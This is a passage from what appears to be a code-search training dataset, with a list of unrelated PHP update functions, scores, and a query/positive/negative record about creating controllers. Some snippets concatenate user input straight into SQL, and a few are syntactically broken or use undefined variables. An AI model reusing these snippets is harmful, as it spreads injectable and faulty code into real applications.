=> 'Game Type']);\n }", "private function updateExistingData($line, $type, $data) {\n $this -> cleanUpEmptyValues(&$data);\n try {\n switch($type) {\n case \"users\":\n if (isset($data['password']) && $data['password'] != \"\" && $data['password'] != \"ldap\") {\n $data['password'] = EfrontUser::createPassword($data['password']);\n }\n eF_updateTableData(\"users\", $data, \"login='\".$data['login'].\"'\"); $this -> log[\"success\"][] = _LINE . \" $line: \" . _REPLACEDUSER . \" \" . $data['login'];\n break;\n case \"users_to_courses\":\n $where = \"users_login='\".$data['users_login'].\"' AND courses_ID = \" . $data['courses_ID'];\n EfrontCourse::persistCourseUsers($data, $where, $data['courses_ID'], $data['users_login']);\n $this -> log[\"success\"][] = _LINE . \" $line: \" . _REPLACEDEXISTINGASSIGNMENT;\n break;\n case \"users_to_groups\":\n break;\n }\n } catch (Exception $e) {\n $this -> log[\"failure\"][] = _LINE . \" $line: \" . $e -> getMessage();\n }\n }", "public function should_update($type, $item, $context)\n {\n }", "function dbUpdateActionPermit($action_id, $permits, $type){\n try {\n\n global $db_table_prefix;\n $db = pdoConnect();\n\n $table = \"\";\n if ($type == \"user\"){\n $table = \"user_action_permits\";\n } else if ($type == \"group\"){\n $table = \"group_action_permits\";\n } else {\n addAlert(\"danger\", \"Action type must be 'user' or 'group'.\");\n return false;\n }\n\n // Check that action_id exists\n if (!valueExists($table, \"id\", $action_id)){\n addAlert(\"danger\", \"Invalid action_id specified.\");\n return false;\n }\n\n $stmt = $db->prepare(\"UPDATE \".$db_table_prefix.$table.\n \" SET permits = :permits\n WHERE\n id = :action_id\n LIMIT 1\");\n\n $sqlVars = array(\":action_id\" => $action_id, \":permits\" => $permits);\n\n $stmt->execute($sqlVars);\n\n return true;\n\n } catch (PDOException $e) {\n addAlert(\"danger\", \"Oops, looks like our database encountered an error.\");\n error_log(\"Error in \" . $e->getFile() . \" on line \" . $e->getLine() . \": \" . $e->getMessage());\n return false;\n } catch (ErrorException $e) {\n addAlert(\"danger\", \"Oops, looks like our server might have goofed. If you're an admin, please check the PHP error logs.\");\n return false;\n }\n}", "public function update(Request $request, HouseType $type)\n {\n $request->validate(['type_name' => 'required|string']);\n\n $type->update(['type_name' => title_case($request->type_name)]);\n\n alert()->success('Updated Successfully');\n\n return redirect()->route('types.index');\n }", "private function replaceDocumentTypeToAccessibleType(): void\n\t{\n\t\t$replaces = [\n\t\t\tStoreDocumentTable::TYPE_ARRIVAL => StoreDocumentTable::TYPE_STORE_ADJUSTMENT,\n\t\t\tStoreDocumentTable::TYPE_STORE_ADJUSTMENT => StoreDocumentTable::TYPE_ARRIVAL,\n\t\t];\n\n\t\tforeach ($replaces as $baseType => $anotherType)\n\t\t{\n\t\t\t$can = $this->accessController->checkByValue(ActionDictionary::ACTION_STORE_DOCUMENT_MODIFY, $baseType);\n\t\t\tif (!$can)\n\t\t\t{\n\t\t\t\t$this->canSelectDocumentType = false;\n\n\t\t\t\t// change current type\n\t\t\t\tif ($this->documentType === $baseType)\n\t\t\t\t{\n\t\t\t\t\t$can = $this->accessController->checkByValue(ActionDictionary::ACTION_STORE_DOCUMENT_MODIFY, $anotherType);\n\t\t\t\t\tif ($can)\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->documentType = $anotherType;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "public function update(Request $request, $damagetype)\n {\n if ($request->user()->role()->first()->id < 3) {\n return response()->json([\"message\" => \"Ο συγκεκριμένος χρήστης δεν έχει πρόσβαση στο πεδία αυτό\"], 401);\n }\n\n $damagetype = DamageType::find($damagetype);\n if (!$damagetype) {\n return response()->json([\"message\" => \"Δεν υπάρχει ο συγκεκριμένος τύπος βλάβης που αναζητείτε!\"], 404);\n }\n\n $validator = Validator::make(\n $request->all(),\n [\n \"name\" => \"required|string\"\n ]\n );\n\n if ($validator->fails()) {\n return response()->json([\"message\" => $validator->errors()->first()]);\n }\n\n $damagetype->update($request->all());\n return response()->json([\"message\" => \"Ο τύπος βλάβης / σέρβις με κωδικό \" . $damagetype->id . \" ενημερώθηκε επιτυχώς!\"], 200);\n }", "function _wp_privacy_action_request_types()\n {\n }", "public function getType()\n {\n $config = Config::get('shopify-app.api_grant_mode');\n if ($config === self::GRANT_PERUSER) {\n return self::GRANT_PERUSER;\n }\n\n return self::GRANT_OFFLINE;\n }", "function update_sample_type($edit_sample_type, $sample_type_manual_id, $sample_type_name, $sample_type_description, $status) {\r\n\t\tglobal $db;\r\n\t\t$query = \"UPDATE sample_types SET\r\n\t\t\tsample_type_manual_id='\".$sample_type_manual_id.\"',\r\n\t\t\tsample_type_name='\".$sample_type_name.\"',\r\n\t\t\tsample_type_description='\".$sample_type_description.\"',\r\n\t\t\tstatus='\".$status.\"'\r\n\t\t\tWHERE sample_type_id='\".$edit_sample_type.\"'\r\n\t\t\";\r\n\t\t$result = $db->query($query) or die($db->error);\r\n\t\t\r\n\t\treturn 'Sample was updated successfuly.';\t\r\n\t}", "protected function validateType(array $type):void {\n if(count(array_intersect(array_map('strtolower', $type), ACTIVITIES)) > 0) {\n if (isset($this->logger))\n $this->logger->warning(\"(UId: '\" . $this->getId() . \"')\"\n . \"Does not have an Activity Stream 2.0 Activity Type.\");\n\n }\n }", "public function updateEntityTypePermission($entityTypeId, $permissionId, $request)\n {\n return $this->start()->uri(\"/api/entity/type\")\n ->urlSegment($entityTypeId)\n ->urlSegment(\"permission\")\n ->urlSegment($permissionId)\n ->bodyHandler(new JSONBodyHandler($request))\n ->put()\n ->go();\n }", "public function update(Request $request, Type $type)\n {\n $this->validate($request, [\n 'name' => [\n 'max:50',\n Rule::unique('types', 'name')->ignore($type->name, 'name'), // 更新时排除自己的名称后,检查是否为唯一值\n ],\n 'sort' => 'nullable|integer',\n ]);\n\n $type->update($request->all());\n\n // return response([\n // 'data' => $type,\n // ], Response::HTTP_OK);\n return new TypeResource($type);\n }", "function editTypeOfRent($data) {\n\t\t\t$conn = $this->connect();\n\t\t\t$tOFr = $this->modify(mysqli_real_escape_string($conn, $data['tOFr']));\n\t\t\t$uid = $_SESSION['userid'];\n\t\t\t$pid = $_SESSION['pid'];\n\t\t\tif(empty($tOFr)) {\n\t\t\t\t$this->re_direct(\"mypost_details\", \"post_id=\".$pid.\"&Empty\");\n\t\t\t} else {\n\t\t\t\tif(preg_match(\"/^[a-z ]+$/i\", $tOFr)) {\n\t\t\t\t\tif($this->length($tOFr, 25, 3)) {\n\t\t\t\t\t\t$result = $this->changepost('newpost', 'post_type_of_Rent', $tOFr, $uid , $pid);\n\t\t\t\t\t\tif($result == true) {\n\t\t\t\t\t\t\t$this->re_direct(\"mypost_details\", \"post_id=\".$pid.\"&Successfully_Changed\");\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$this->re_direct(\"mypost_details\", \"post_id=\".$pid.\"&Failed!\");\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$this->re_direct(\"mypost_details\", \"post_id=\".$pid.\"&length=tooBigOrSmall\");\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t$this->re_direct(\"mypost_details\", \"post_id=\".$pid.\"&invalid=type\");\n\t\t\t\t}\n\t\t\t}\n\t\t}", "public function update() {\r\n try {\r\n $type = get_object_vars($this->model);\r\n\r\n foreach ($type as $key => $value) {\r\n if (in_array($key, $this->validColumns)) {\r\n if(is_bool($value)) {\r\n $value = (int)$value;\r\n }\r\n $data[$key] = $value;\r\n }\r\n }\r\n\r\n $this->db->update(\"assets_permissions\", $data, $this->db->quoteInto(\"id = ?\", $this->model->getId()));\r\n }\r\n catch (Exception $e) {\r\n throw $e;\r\n }\r\n }", "public function actionUpdate($id,$type)\n {\n $model=$this->findModel($id);\n $vehicleid=$model->vehicleid;\n $mods=$this->findModel($id);\n $mods->dept=Gongchu::getDeptNameById($model->dept);\n $mods->v_user=Gongchu::getUserNamesByIds($model->v_user);\n $mods->apply_ren=Gongchu::getUserNamesByIds($model->apply_ren);\n $mods->v_license=Vehicle::findOne($vehicleid)->v_license;\n if($model->dept_audit==0){//审批中 状态 不加审批时间 驳回理由\n $mods->dept_leader=Gongchu::getUserNamesByIds($model->dept_leader).'('.Gongchu::getStatusById($model->dept_audit).')';\n }else{\n $mods->dept_leader=Gongchu::getUserNamesByIds($model->dept_leader).'('.Gongchu::getStatusById($model->dept_audit).') '.$model->dept_reason.' '.substr($model->dept_audit_time,0,-3);\n }\n if($model->dept_audit==2){//如果科室领导驳回,则院领导直接显示名字即可\n $mods->branch_leader=Gongchu::getUserNamesByIds($model->branch_leader);\n }else{\n if($model->branch_audit==0){//审批中 状态 不加审批时间 驳回理由\n $mods->branch_leader=Gongchu::getUserNamesByIds($model->branch_leader).'('.Gongchu::getStatusById($model->branch_audit).')';\n }else{\n $mods->branch_leader=Gongchu::getUserNamesByIds($model->branch_leader).'('.Gongchu::getStatusById($model->branch_audit).') '.$model->branch_reason.' '.substr($model->branch_audit_time,0,-3);\n }\n }\n if($model->dept_leader==0){\n $mods->dept_leader=0;\n }\n if($_POST){\n $auditStatus=$_POST['VehicleApply']['branch_audit'];\n if($type=='dept'){\n if($auditStatus==1){\n $model->dept_audit=1;//部门审批同意\n Message::sendMsg('审批同意',Yii::$app->user->identity->username.'同意了一个车辆申请',$model->branch_leader,['vehicle/audit/update','id'=>$model->id,'type'=>'branch','api_url' => \"index.php/vehicle/view?id=\".$model->id]);\n }elseif($auditStatus==2){\n $model->dept_audit=2;//部门审批驳回,驳回更新车辆状态\n $model->dept_reason=$_POST['VehicleApply']['branch_reason'];\n $model->audit_status=2;//申请驳回,审核状态为驳回\n Message::sendMsg('审批驳回',Yii::$app->user->identity->username.'驳回了一个车辆申请',$model->apply_ren,['vehicle/vehicleapply/view','id'=>$model->id,'api_url' => \"index.php/vehicle/view?id=\".$model->id]);\n $vm=Vehicle::findOne($vehicleid);\n $vm->setAttributes(['count'=>1,'isreturn'=>1,'return_time'=>NULL]);\n $vm->save(false);\n }\n $model->dept_audit_time=date('Y-m-d H:i:s',time());\n }else{\n if($auditStatus==1){\n $model->branch_audit=1;//分管审批同意\n $model->audit_status=1;//申请同意,审核状态为同意\n Message::sendMsg('审批同意',Yii::$app->user->identity->username.'同意了一个车辆申请',$model->apply_ren,['vehicle/vehicleapply/view','id'=>$model->id,'api_url' => \"index.php/vehicle/view?id=\".$model->id]);\n }elseif($auditStatus==2){\n $model->branch_audit=2;//院审批驳回,更新车辆状态\n $model->branch_reason=$_POST['VehicleApply']['branch_reason'];\n $model->audit_status=2;//申请驳回,审核状态为驳回\n Message::sendMsg('审批驳回',Yii::$app->user->identity->username.'驳回了一个车辆申请',$model->apply_ren,['vehicle/vehicleapply/view','id'=>$model->id,'api_url' => \"index.php/vehicle/view?id=\".$model->id]);\n $vm=Vehicle::findOne($vehicleid);\n $vm->setAttributes(['count'=>1,'isreturn'=>1,'return_time'=>NULL]);\n $vm->save(false);\n }\n $model->branch_audit_time=date('Y-m-d H:i:s',time());\n }\n if($model->save(false)){\n return $this->redirect(['index']);\n }else{\n functions::alert('审核失败');\n }\n }else{\n return $this->render('update', [\n 'model' => $mods,\n ]);\n }\n }", "public function edit($type, $id)\n {\n if ((string) $type === 'role') {\n $data['acl'] = $this->roles->findOrFail($id);\n $data['group'] = $this->permissions->all();\n } elseif((string) $type === 'permissions') {\n $data['acl'] = $this->permissions->findOrFail($id);\n $data['group'] = $this->roles->all();\n } else {\n flash(trans('acl.flash-error-edit-acl'));\n return redirect()->route('users.index');\n }\n\n return view('acl.edit-view', $data);\n }", "public function changeTypeDrink($request);", "public function POS_it_checks_updateRec_att_type_changed() {\n // create the record to check\n $type = 'Bob';\n $taskType = new TaskType();\n $taskType->setType($type);\n $taskType->setDescription('was here');\n $taskType->created_at = Carbon::now();\n $taskType->updated_at = Carbon::now();\n $taskType->client_id = 1;\n $taskType->save();\n\n // create the changed record\n $changeType = 'Steve';\n\n $stdClass = new \\stdClass();\n $stdClass->id = $taskType->id;\n $stdClass->type = $changeType;\n $stdClass->desc = $taskType->getDescription();\n $stdClass->client_id = $taskType->client_id;\n\n $taskType->updateRec($stdClass);\n $result = $taskType::where('id', $taskType->getId())->first();\n\n $this->assertEquals($result->getType(), $changeType);\n }", "function setUserType($username = NULL,$userType = NULL)\n\t\t{\n\t\t\t$sSQL\t=\t\"UPDATE tbl_member set member_type = '\" . $userType . \"' \n\t\t\tWHERE user_name = '\" . $username . \"'\";\n\t\t\t$response = $this->Execute($sSQL);\n\t\t\treturn $response;\t\t\n\t\t}", "public function update(Request $request, Allowance $allowance)\n {\n //\n }", "public function update(Request $request, Allowance $allowance)\n {\n //\n }", "public function changeType(Request $request){\n $page = Page::find($request->page_id);\n \n if($request->type == 'Yes'){\n \n $page->isForm = true;\n $page->save();\n }else{\n $page->isForm = false;\n $page->save();\n }\n return back();\n }", "public function update($id, TypeRequest $request)\n {\n\n $updatedType = $this->typeRepo->update($id, $request->all());\n\n if ($updatedType) {\n\n \\Session::flash('success', 'Apprasial order Type was successfully updated!');\n\n return redirect()->route('admin.appraisal.appr-types.index');\n \n } else {\n\n \\Session::flash('error', 'Something was wrong!');\n\n return redirect()->route('admin.appraisal.appr-types.index');\n }\n }", "public function update($type, $id = null);", "public function changeStatus($reason $typeReason) {\n $student = new Student();\n $user = $student->table->getRow(array('status' => $status));\n \n if ($user->status === 0) {\n $user->status = 1;\n } else {\n $user->status = 0;\n }\n \n if ($data = $student->update($_POST)) {\n $return_arr = ['status' => \"success\"];\n } else {\n $errors = array();\n foreach($student->log->getErrors() as $err){\n $errors[] = $err;\n }\n $return_arr = ['status' => \"error\",'errors' => $errors];\n }\n return $return_arr;\n \n \n \n \n// $status_temp = $student->table->runQuery(array(\n// 'status' => $user->status,\n// ),true);\n\n\n\n }", "public function setType(String $type){\n $type = strtoupper($type);\n if(!in_array($type, self::getUserTypes())){\n throw new \\Exception('Incorrect User Type');\n }\n $this->type = constant('self::'. $type);\n }", "public function update(Request $request, $id)\n {\n $names = AdminPermission::where('name',$request->name)->get();\n $name = AdminPermission::where('id',$request->id)->first();\n if ($request->name != $name->name && count($names)>0){\n return redirect()->back()->with('fault','Name already exist');\n }\n $request->validate([\n 'id'=>'required',\n 'name' => 'required',\n 'type'=>'required'\n ]);\n $permission = AdminPermission::find($id);\n $permission->name = $request->name;\n $permission->type = $request->type;\n if ($request->type == 'custom'){\n $permission->custom = implode(\", \",$request->customs);\n }else{\n $permission->custom = null;\n }\n $result = $permission->update();\n if ($result){\n return redirect()->back()->with('success','Permission edited');\n }else{\n return redirect()->back()->with('fault','Permission not edited');\n }\n }", "public function setIntent($intent) {}", "public function setIntent($intent) {}", "public function update(Request $request, TypeThird $typeThird)\n {\n //\n }", "function update_id_type($id_type_id = '')\n\t{\n\t\t$data['name']\t\t\t\t\t=\t$this->input->post('name');\n\t\t$data['timestamp']\t\t\t\t= \ttime();\n\t\t$data['updated_by']\t\t\t\t= \t$this->session->userdata('user_id');\n\n\t\t$this->db->where('id_type_id', $id_type_id);\n\t\t$this->db->update('id_type', $data);\n\n\t\t$this->session->set_flashdata('success', 'ID type has been updated successfully.');\n\n\t\tredirect(base_url() . 'id_type_settings', 'refresh');\n\t}", "function lfl_admin_update_user($userId, $username = null, $mail = null, $type = null)\n{\n if(!lfl_user_is_of_type(array('admin')))\n {\n return null;\n }\n \n $link = lfl_connect();\n if($link)\n {\n $userData = lfl_get_user_details($userId);\n if($userData)\n {\n $gebruikersnaam = ($gebruikersnaam) ? $gebruikersnaam : $userData['username'];\n $email = ($email) ? $email : $userData['mail'];\n $rol = ($rol) ? $rol : $userData['type'];\n $sql = \"UPDATE \" . TABLE_USER . \" SET \"\n . \"gebruikersnaam='\" . mysqli_real_escape_string($link, $gebruikersnaam) . \"', \"\n . \"mail='\" . mysqli_real_escape_string($link, $email) . \"', \"\n . \"type='\" . mysqli_real_escape_string($link, $rol)\n . \"' WHERE userId=\" . mysqli_real_escape_string($link, $userId);\n $result = mysqli_query($link, $sql);\n return $result;\n }\n }\n \n return null;\n}", "public function testUpdateChallengeActivity()\n {\n }", "public function update(Request $request, OutcomeType $outcomeType)\n {\n $request->validate([\n 'name' => ['required', 'string']\n ]);\n $outcomeTypeModel = OutcomeType::find($outcomeType);\n $outcomeTypeModel->name = $request->input('name');\n if ($outcomeTypeModel->save()) {\n return redirect()->route('outcome-type.index');\n }\n }", "public function update_user_role(Request $request, $id)\n\t{\n\t\t$requests = $request->input();\n\t\t\n\t\t//trueのapp_noのみ権限として登録\n\t\tforeach($requests as $key=>$value){\n\t\t\tif($value == 'true'){\n\t\t\t\t$t_array[] = $key;\n\t\t\t}elseif ($value=='false'){\n\t\t\t\t$f_array[] = $key;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif(isset($t_array)){\n\t\t\tforeach($t_array as $value){\n\t\t\t\t\n\t\t\t\t//すでに登録されていないかチェック\n\t\t\t\t$app_roles_cnt = DB::table('app_roles')\n\t\t\t\t->where('app_roles.app_no',$value)\n\t\t\t\t->where('app_roles.user_id', $id)\n\t\t\t\t->exists();\n\t\t\t\t\n\t\t\t\tif(!$app_roles_cnt){\n\t\t\t\t\tDB::table('app_roles')->insert(\n\t\t\t\t\t\t['app_no' => $value, 'user_id' => $id]\n\t\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t}\n\t\tif(isset($f_array)){\n\t\t\tforeach($f_array as $value){\n\t\t\t\t\n\t\t\t\t//すでに登録されていないかチェック\n\t\t\t\t$app_roles_cnt = DB::table('app_roles')\n\t\t\t\t\t->where('app_roles.app_no',$value)\n\t\t\t\t\t->where('app_roles.user_id', $id)\n\t\t\t\t\t->exists();\n\t\t\t\t\n\t\t\t\tif($app_roles_cnt){\n\t\t\t\t\t//dd($app_roles_cnt);\n\t\t\t\t\tDB::table('app_roles')\n\t\t\t\t\t->where('app_roles.app_no',$value)\n\t\t\t\t\t->where('app_roles.user_id', $id)\n\t\t\t\t\t->delete();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn redirect('admin/user/home_user');\n\t}", "public function addCalendarType ($type)\n\t{\n\t\t$Statement = $this->Database->prepare(\"UPDATE users SET hp_calendar_type = ? WHERE id = ?\");\n\t\t$Statement->execute(array($type, $this->id));\n\t}", "public function update(AccountTypeRequest $request, AccountType $accountType)\n {\n $accountType = $this->accountTypeRepository->update($accountType->id);\n if ($accountType) {\n return response()\n ->json(['success' => 'Account type info updated successfully!']);\n }\n }", "public function update(Request $request, $type=null,$item_id,$id)\n {\n //\n }", "public function update(UpdateMenuTypeRequest $request, Menu_type $menu_type)\n {\n $data=$request->all();\n $menu_type->update($data);\n session()->flash('success','Cập nhật thành công');\n return back();\n }", "public function update(Request $request, Admin $admin)\n {\n //\n\n $request->validate([\n 'roles'=>'array',\n 'name'=>'string',\n 'email'=>'email',\n ]);\n// if (!$admin->hasRole('super_admin')) return redirect()->route('dashboard')->with('error','for super admins only !');;\n $requestdata = $request->all();\n// echo $requestdata->role ;\n $admin->update($requestdata);\n //dd($request->roles) ;\n$admin->syncRoles($request->roles);\n \n return redirect()->route('dashboard');\n }", "public function postEdit($type)\n {\n // Declare the rules for the form validation\n $rules = array(\n 'name' => 'required|min:3'\n );\n\n // Validate the inputs\n $validator = Validator::make(Input::all(), $rules);\n\n // Check if the form validates with success\n if ($validator->passes())\n {\n // Update the type post data\n $this->$type->name = Input::get('name');\n\n // Was the type post updated?\n if($this->$type->save())\n {\n // Redirect to the new type post page\n return Redirect::to('admin/types/' . $type->id . '/edit')->with('success', Lang::get('admin/types/messages.update.success'));\n }\n\n // Redirect to the types post management page\n return Redirect::to('admin/types/' . $type->id . '/edit')->with('error', Lang::get('admin/types/messages.update.error'));\n }\n\n // Form validation failed\n return Redirect::to('admin/types/' . $type->id . '/edit')->withInput()->withErrors($validator);\n }", "public function update(TypeStoreRequest $request, types $type)\n {\n $type->update([\n 'type_id' => $request->type_id,\n 'type_name' => $request->type_name,\n // 'password' => Hash::make($request->password),\n ]);\n return redirect()->route('types.index')->with('message','Type updated Successfully');\n }", "public function updatePermissions(Request $request, User $user)\n {\n // dd($request);\n // dd($user->id);\n\n //\n // Updates the Detail Table (Synchronizing)\n //\n $profileInfo = $user->profile;\n // dd($profileInfo);\n // dd($request->input('permissionsAssigned')); // list of the permissions to be assigned\n\n // $profileInfo->roles()->sync($request->input('rolesAssigned'));\n $this->syncPermissions($profileInfo, $request->input('permissionsAssigned'));\n\n // @todo: Update log updated_by / updated timestamp\n\n return back()->with('success', __('Permissions Updated') );\n }", "public static function update_login_type($id)\n\t\t {\n SocialAccount::whereId($id)->update([\n 'updated_at' => new \\DateTime\n ]);\n\n\t\t }", "public function update(UserTypeRequest $request, $id)\n {\n $userType = UserType::findOrFail($id);\n $result = $userType->update($request->all());\n if ($result){\n return redirect('user-type')->with('success', 'User Type Updated');\n }\n else{\n return back()->with('error','Failed to update!');\n }\n }" ]
[ "0.6040604", "0.59093064", "0.5901474", "0.5901474", "0.57458943", "0.57407427", "0.57197595", "0.5708921", "0.5659441", "0.5617638", "0.55935156", "0.55681723", "0.55672044", "0.5515295", "0.5492417", "0.5492417", "0.5492417", "0.5442118", "0.5430684", "0.5373118", "0.53484493", "0.5333568", "0.53147095", "0.530766", "0.5278379", "0.5273337", "0.5264222", "0.5258986", "0.52402556", "0.52353084", "0.52326554", "0.52300066", "0.5221506", "0.5215136", "0.52107173", "0.5186877", "0.5184305", "0.51812583", "0.51808643", "0.51786715", "0.5172559", "0.5169842", "0.51662254", "0.5147314", "0.5142978", "0.51306725", "0.51306355", "0.5128188", "0.5102598", "0.50997233", "0.50940275", "0.509289", "0.509289", "0.5092325", "0.5090509", "0.50903803", "0.50854385", "0.50835764", "0.50820845", "0.5079803", "0.50723946", "0.5068902", "0.50640774", "0.506301", "0.50568265", "0.50544006", "0.50447506", "0.5041477", "0.50387156", "0.5036496", "0.5013573", "0.50093234", "0.50021636", "0.49990234", "0.49950483", "0.49871075", "0.49871075", "0.49841627", "0.4982285", "0.49791697", "0.49769795", "0.49747464", "0.49743354", "0.49736676", "0.49732172", "0.49680787", "0.4957828", "0.4957535", "0.49471873", "0.49415436", "0.4938995", "0.49382484", "0.49365744", "0.49329403", "0.49312663", "0.49312094", "0.49307498", "0.4926103", "0.49199024", "0.49092555", "0.49045634" ]
0.0
-1
Create a new controller instance.
public function __construct() { $this->middleware('auth'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function createController()\n {\n $this->createClass('controller');\n }", "protected function createController()\n {\n $controller = Str::studly(class_basename($this->getNameInput()));\n\n $modelName = $this->qualifyClass('Models/'.$this->getNameInput());\n\n $this->call('make:controller', array_filter([\n 'name' => \"{$controller}Controller\",\n '--model' => $modelName,\n '--api' => true,\n ]));\n }", "protected function createController()\n {\n $controller = Str::studly(class_basename($this->argument('name')));\n $model_name = $this->qualifyClass($this->getNameInput());\n $name = Str::contains($model_name, ['\\\\']) ? Str::afterLast($model_name, '\\\\') : $model_name;\n\n $this->call('make:controller', [\n 'name' => \"{$controller}Controller\",\n '--model' => $model_name,\n ]);\n\n $path = base_path() . \"/app/Http/Controllers/{$controller}Controller.php\";\n $this->cleanupDummy($path, $name);\n }", "private function makeInitiatedController()\n\t{\n\t\t$controller = new TestEntityCRUDController();\n\n\t\t$controller->setLoggerWrapper(Logger::create());\n\n\t\treturn $controller;\n\t}", "protected function createController()\n {\n $controller = Str::studly(class_basename($this->argument('name')));\n\n $modelName = $this->qualifyClass($this->getNameInput());\n\n $this->call(ControllerMakeCommand::class, array_filter([\n 'name' => \"{$controller}/{$controller}Controller\",\n '--model' => $this->option('resource') || $this->option('api') ? $modelName : null,\n ]));\n\n $this->call(ControllerMakeCommand::class, array_filter([\n 'name' => \"Api/{$controller}/{$controller}Controller\",\n '--model' => $this->option('resource') || $this->option('api') ? $modelName : null,\n '--api' => true,\n ]));\n }", "protected function createController()\n {\n $name = str_replace(\"Service\",\"\",$this->argument('name'));\n\n $this->call('make:controller', [\n 'name' => \"{$name}Controller\"\n ]);\n }", "protected function createController()\n {\n $params = [\n 'name' => $this->argument('name'),\n ];\n\n if ($this->option('api')) {\n $params['--api'] = true;\n }\n\n $this->call('wizard:controller', $params);\n }", "public function generateController () {\r\n $controllerParam = \\app\\lib\\router::getPath();\r\n $controllerName = \"app\\controller\\\\\" . end($controllerParam);\r\n $this->controller = new $controllerName;\r\n }", "public static function newController($controller)\n\t{\n\t\t$objController = \"App\\\\Controllers\\\\\".$controller;\n\t\treturn new $objController;\n\t}", "public function createController()\n\t{\n\t\tif(class_exists($this->controller))\n\t\t{\n\t\t\t// get the parent class he extends\n\t\t\t$parents = class_parents($this->controller);\n\n\t\t\t// $parents = class_implements($this->controller); used if our Controller was just an interface not a class\n\n\t\t\t// check if the class implements our Controller Class\n\t\t\tif(in_array(\"Controller\", $parents))\n\t\t\t{\n\t\t\t\t// check if the action in the request exists in that class\n\t\t\t\tif(method_exists($this->controller, $this->action))\n\t\t\t\t{\n\t\t\t\t\treturn new $this->controller($this->action, $this->request);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// Action is not exist\n\t\t\t\t\techo 'Method '. $this->action .' doesn\\'t exist in '. $this->controller;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// The controller doesn't extends our Controller Class\n\t\t\t\techo $this->controller.' doesn\\'t extends our Controller Class';\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Controller Doesn't exist\n\t\t\techo $this->controller.' doesn\\'t exist';\n\t\t}\n\t}", "public function createController( ezcMvcRequest $request );", "public function createController() {\n //check our requested controller's class file exists and require it if so\n /*if (file_exists(__DIR__ . \"/../Controllers/\" . $this->controllerName . \".php\")) {\n require(__DIR__ . \"/../Controllers/\" . $this->controllerName . \".php\");\n } else {\n throw new Exception('Route does not exist');\n }*/\n\n try {\n require_once __DIR__ . '/../Controllers/' . $this->controllerName . '.php';\n } catch (Exception $e) {\n return $e;\n }\n \n //does the class exist?\n if (class_exists($this->controllerClass)) {\n $parents = class_parents($this->controllerClass);\n \n //does the class inherit from the BaseController class?\n if (in_array(\"BaseController\",$parents)) { \n //does the requested class contain the requested action as a method?\n if (method_exists($this->controllerClass, $this->endpoint)) {\n return new $this->controllerClass($this->args, $this->endpoint, $this->domain);\n } else {\n throw new Exception('Action does not exist');\n }\n } else {\n throw new Exception('Class does not inherit correctly.');\n }\n } else {\n throw new Exception('Controller does not exist.');\n }\n }", "public static function create()\n\t{\n\t\t//check, if a JobController instance already exists\n\t\tif(JobController::$jobController == null)\n\t\t{\n\t\t\tJobController::$jobController = new JobController();\n\t\t}\n\n\t\treturn JobController::$jobController;\n\t}", "private function controller()\n {\n $location = $this->args[\"location\"] . DIRECTORY_SEPARATOR . 'controllers' . DIRECTORY_SEPARATOR;\n $relative_location = $this->args['application_folder'] . DIRECTORY_SEPARATOR . 'controllers' . DIRECTORY_SEPARATOR;\n\n if (!empty($this->args['subdirectories']))\n {\n $location .= $this->args['subdirectories'] . DIRECTORY_SEPARATOR;\n $relative_location .= $this->args['subdirectories'] . DIRECTORY_SEPARATOR;\n }\n\n if (!is_dir($location))\n {\n mkdir($location, 0755, TRUE);\n }\n\n $relative_location .= $this->args['filename'];\n $filename = $location . $this->args['filename'];\n\n $args = array(\n \"class_name\" => ApplicationHelpers::camelize($this->args['name']),\n \"filename\" => $this->args['filename'],\n \"application_folder\" => $this->args['application_folder'],\n \"parent_class\" => (isset($this->args['parent'])) ? $this->args['parent'] : $this->args['parent_controller'],\n \"extra\" => $this->extra,\n 'relative_location' => $relative_location,\n 'helper_name' => strtolower($this->args['name']) . '_helper',\n );\n\n $template = new TemplateScanner(\"controller\", $args);\n $controller = $template->parse();\n\n $message = \"\\t\";\n if (file_exists($filename))\n {\n $message .= 'Controller already exists : ';\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'light_blue');\n }\n $message .= $relative_location;\n }\n elseif (file_put_contents($filename, $controller))\n {\n $message .= 'Created controller: ';\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'green');\n }\n $message .= $relative_location;\n }\n else\n {\n $message .= 'Unable to create controller: ';\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'red');\n }\n $message .= $relative_location;\n }\n\n // The controller has been generated, output the confirmation message\n fwrite(STDOUT, $message . PHP_EOL);\n\n // Create the helper files.\n $this->helpers();\n\n $this->assets();\n\n // Create the view files.\n $this->views();\n\n return;\n }", "public function createController( $controllerName ) {\r\n\t\t$refController \t\t= $this->instanceOfController( $controllerName );\r\n\t\t$refConstructor \t= $refController->getConstructor();\r\n\t\tif ( ! $refConstructor ) return $refController->newInstance();\r\n\t\t$initParameter \t\t= $this->setParameter( $refConstructor );\r\n\t\treturn $refController->newInstanceArgs( $initParameter ); \r\n\t}", "public function create($controllerName) {\r\n\t\tif (!$controllerName)\r\n\t\t\t$controllerName = $this->defaultController;\r\n\r\n\t\t$controllerName = ucfirst(strtolower($controllerName)).'Controller';\r\n\t\t$controllerFilename = $this->searchDir.'/'.$controllerName.'.php';\r\n\r\n\t\tif (preg_match('/[^a-zA-Z0-9]/', $controllerName))\r\n\t\t\tthrow new Exception('Invalid controller name', 404);\r\n\r\n\t\tif (!file_exists($controllerFilename)) {\r\n\t\t\tthrow new Exception('Controller not found \"'.$controllerName.'\"', 404);\r\n\t\t}\r\n\r\n\t\trequire_once $controllerFilename;\r\n\r\n\t\tif (!class_exists($controllerName) || 